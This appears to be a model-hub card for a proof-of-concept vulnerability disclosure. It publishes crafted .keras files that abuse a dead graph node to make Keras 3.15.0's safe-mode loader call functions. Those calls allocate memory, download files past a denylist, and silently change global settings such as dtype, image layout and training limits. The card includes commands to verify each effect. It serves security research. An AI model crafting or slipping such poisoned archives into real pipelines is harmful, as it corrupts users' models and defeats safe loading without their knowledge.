Instructions to use hacnho/keras-dead-op-function-call-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use hacnho/keras-dead-op-function-call-poc with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://hacnho/keras-dead-op-function-call-poc") - Notebooks
- Google Colab
- Kaggle
Keras dead Functional operation safe-mode execution PoC
This repository contains bounded proof-of-concept .keras archives for a Keras Native loading issue tested on Keras 3.15.0.
The main payload is:
dead_switch_keras_utils_pad_sequences.keras
It is a valid .keras archive with config.json, metadata.json, and model.weights.h5. Its model output is the benign input layer, but its Functional config also contains an unconnected keras.src.ops.core.Switch node. During keras.saving.load_model(..., safe_mode=True), Keras processes that dead inbound node and calls keras.utils.pad_sequences([[1]], 25000000, "float64"), allocating about 190 MiB before returning the model.
A secondary payload shows process-global config mutation:
dead_switch_keras_config_set_dtype_policy.keras
It calls keras.config.set_dtype_policy("mixed_float16") during safe-mode loading.
That mutation is not just cosmetic. After loading the malicious archive, a
later benign default-policy model computes in float16 instead of float32
and returns a different output:
before: dtype_policy=float32, compute_dtype=float32, out=1.000100016593933
after: dtype_policy=mixed_float16, compute_dtype=float16, out=1.0
An optional network/file-write payload shows an indirect bypass of the
keras.utils.get_file denylist:
dead_switch_keras_datasets_mnist_load_data.keras
It calls keras.datasets.mnist.load_data() during safe-mode loading. If run with
--load, it downloads mnist.npz through Keras' dataset helper and writes it
under KERAS_HOME. Use the --keras-home option below to keep this isolated.
An additional current 3.15.0 dataset-helper payload shows that the same dead
node path can control the cache filename written under KERAS_HOME:
dead_switch_keras_datasets_reuters_get_word_index.keras
It calls
keras.datasets.reuters.get_word_index("reuters_word_index_mfv_20260626.json")
during safe-mode loading. In an isolated KERAS_HOME, it downloads and writes:
datasets/reuters_word_index_mfv_20260626.json
The strongest dataset-helper sink found in the current 3.15.0 reachability
sweep is:
dead_switch_keras_datasets_fashion_mnist_load_data.keras
It calls keras.datasets.fashion_mnist.load_data() during safe-mode loading.
In an isolated KERAS_HOME, it downloads and writes four gzip dataset members:
datasets/fashion-mnist/train-labels-idx1-ubyte.gz
datasets/fashion-mnist/train-images-idx3-ubyte.gz
datasets/fashion-mnist/t10k-labels-idx1-ubyte.gz
datasets/fashion-mnist/t10k-images-idx3-ubyte.gz
In the recorded run on Keras 3.15.0, this added about 92.3 MiB max RSS
while still returning ok:Functional.
An additional bounded applications-helper payload reaches a smaller normal Keras download path:
dead_switch_keras_applications_imagenet_utils_decode_predictions.keras
It calls keras.applications.imagenet_utils.decode_predictions() during
safe-mode loading with a serialized (1, 1000) NumPy prediction batch and
top=1. In an isolated KERAS_HOME, it downloads and writes:
models/imagenet_class_index.json
In the recorded run on Keras 3.15.0, this still returned ok:Functional
while writing a 35363 byte metadata file and adding 0.0 B max RSS. This is
the cleanest bounded get_file-adjacent side effect currently reproduced in
the dead-node family.
An additional pure process-integrity payload avoids network and file-write dependencies entirely:
dead_switch_keras_config_disable_traceback_filtering.keras
It calls keras.config.disable_traceback_filtering() during safe-mode loading.
In the recorded 3.15.0 run:
load_resultstill returnedok:Functionaltraceback_filtering_before=Truetraceback_filtering_after=False
This is a smaller same-family effect than the dataset / application helpers, but it is useful as a bounded no-network / no-file-write strengthening example.
Another pure process-integrity payload changes the expected image tensor layout for later benign models:
dead_switch_keras_config_set_image_data_format.keras
It calls keras.config.set_image_data_format("channels_first") during
safe-mode loading. In the recorded run:
load_resultstill returnedok:Functional- before the malicious load, a benign
Conv2Dmodel accepted NHWC input and produced shape(1, 2, 2, 1) - after the malicious load, the same benign model path no longer used the same
layout assumptions; in the current replay environment it produced:
image_data_format = channels_firstout_shape = (1, 1, 2, 1)- different output values
This is a bounded same-family effect showing that a malicious .keras file can
silently poison later benign image-model assumptions without any network or file
write.
Another pure process-integrity payload changes the default float dtype used by later benign helper APIs:
dead_switch_keras_config_set_floatx.keras
It calls keras.config.set_floatx("float64") during safe-mode loading. In the
recorded replay:
load_resultstill returnedok:Functionalfloatxchanged fromfloat32tofloat64- later benign helper APIs changed dtype:
keras.ops.ones(...).dtype:float32 -> float64keras.random.uniform(...).dtype:float32 -> float64
- a simple Dense example remained
float32, so this is a selective helper-API drift rather than a universal model-output mutation
Two more current 3.15.0 payloads silently change later benign training
behavior:
dead_switch_keras_config_set_max_epochs_1.keras
dead_switch_keras_config_set_max_steps_per_epoch_1.keras
They call:
keras.config.set_max_epochs(1)
keras.config.set_max_steps_per_epoch(1)
In the recorded jax backend run:
set_max_epochs(1)changed a benign 3-epoch / 12-batch training run into 1 epoch / 4 batchesset_max_steps_per_epoch(1)changed a benign 3-epoch / 12-batch run into 3 epochs / 3 batches
Verify
Inspect without loading:
python verify_poc.py
Trigger the bounded load-time behavior:
python verify_poc.py --load
Expected result for the main payload:
safe_modeistrueload_resultisok:Functionaldead_functioniskeras.utils.pad_sequences- max RSS increases during
load_model()
Verify the config mutation payload:
python verify_poc.py dead_switch_keras_config_set_dtype_policy.keras --load
Expected result:
load_resultisok:Functionalbefore.dtype_policyis<DTypePolicy "float32">after.dtype_policyis<DTypePolicy "mixed_float16">
The local evidence file
verify-poc-dtype-policy-output-manipulation-20260626.json
also shows a later benign model switching from float32 compute/output to
float16 compute/output after the malicious archive loads.
Verify the optional dataset download payload in an isolated cache directory:
python verify_poc.py dead_switch_keras_datasets_mnist_load_data.keras --load --keras-home ./keras-home-mnist
Expected result:
load_resultisok:Functionaldead_functioniskeras.datasets.mnist.load_datanew_keras_home_filesincludesdatasets/mnist.npz
Verify the Reuters dataset-helper payload:
python verify_poc.py dead_switch_keras_datasets_reuters_get_word_index.keras --load --keras-home ./keras-home-reuters
Expected result:
load_resultisok:Functionaldead_functioniskeras.datasets.reuters.get_word_indexnew_keras_home_filesincludesdatasets/reuters_word_index_mfv_20260626.json
Verify the stronger Fashion-MNIST dataset payload:
python verify_poc.py dead_switch_keras_datasets_fashion_mnist_load_data.keras --load --keras-home ./keras-home-fashion-mnist
Expected result:
load_resultisok:Functionaldead_functioniskeras.datasets.fashion_mnist.load_datanew_keras_home_filesincludes the fourdatasets/fashion-mnist/*.gzfilesmax_rss_delta_humanis about92.3 MiBin the recorded Keras3.15.0run
Verify the bounded ImageNet metadata-helper payload:
python verify_poc.py dead_switch_keras_applications_imagenet_utils_decode_predictions.keras --load --keras-home ./keras-home-imagenet-decode
Expected result:
load_resultisok:Functionaldead_functioniskeras.applications.imagenet_utils.decode_predictionsnew_keras_home_filesincludesmodels/imagenet_class_index.jsonmax_rss_delta_humanis0.0 Bin the recorded Keras3.15.0run
Verify the hidden training-truncation payloads on jax:
KERAS_BACKEND=jax python - <<'PY'
import json, os, keras, numpy as np
def run_fit(reset=True):
if reset:
keras.config.set_max_epochs(None)
keras.config.set_max_steps_per_epoch(None)
x = np.zeros((8, 2), dtype=np.float32)
y = np.zeros((8, 1), dtype=np.float32)
model = keras.Sequential([keras.layers.Input(shape=(2,)), keras.layers.Dense(1, use_bias=False)])
model.compile(optimizer="sgd", loss="mse")
events = {"epochs": 0, "batches": 0}
class Counter(keras.callbacks.Callback):
def on_epoch_end(self, epoch, logs=None): events["epochs"] += 1
def on_train_batch_end(self, batch, logs=None): events["batches"] += 1
hist = model.fit(x, y, epochs=3, batch_size=2, verbose=0, callbacks=[Counter()])
return {"epochs_seen": events["epochs"], "batches_seen": events["batches"], "history_loss_len": len(hist.history["loss"])}
before = run_fit(True)
keras.saving.load_model("dead_switch_keras_config_set_max_epochs_1.keras", safe_mode=True)
after_epochs = run_fit(False)
keras.config.set_max_epochs(None)
keras.config.set_max_steps_per_epoch(None)
before_steps = run_fit(True)
keras.saving.load_model("dead_switch_keras_config_set_max_steps_per_epoch_1.keras", safe_mode=True)
after_steps = run_fit(False)
print(json.dumps({"max_epochs_payload": {"before": before, "after": after_epochs}, "max_steps_payload": {"before": before_steps, "after": after_steps}}, indent=2))
PY
Expected result:
max_epochs_payload.after.epochs_seen == 1max_steps_payload.after.batches_seen == 3
Verify the no-network traceback-filtering payload:
python verify_poc.py dead_switch_keras_config_disable_traceback_filtering.keras --load
Expected result:
load_resultisok:Functionaltraceback_filtering_beforeistruetraceback_filtering_afterisfalse
Verify the image-data-format mutation payload:
python verify_image_data_format_remote.py
Expected result:
load_resultisok:Functionalbefore.image_data_formatischannels_lastafter.image_data_formatbecomeschannels_first- the benign image-model path changes shape/value behavior after the malicious load
Verify the floatx mutation payload:
python verify_set_floatx_remote.py
Expected result:
load_resultisok:Functionalbefore.floatxisfloat32after.floatxbecomesfloat64- later benign helper APIs also change dtype:
ops_ones_dtyperandom_uniform_dtype
- Downloads last month
- 3,187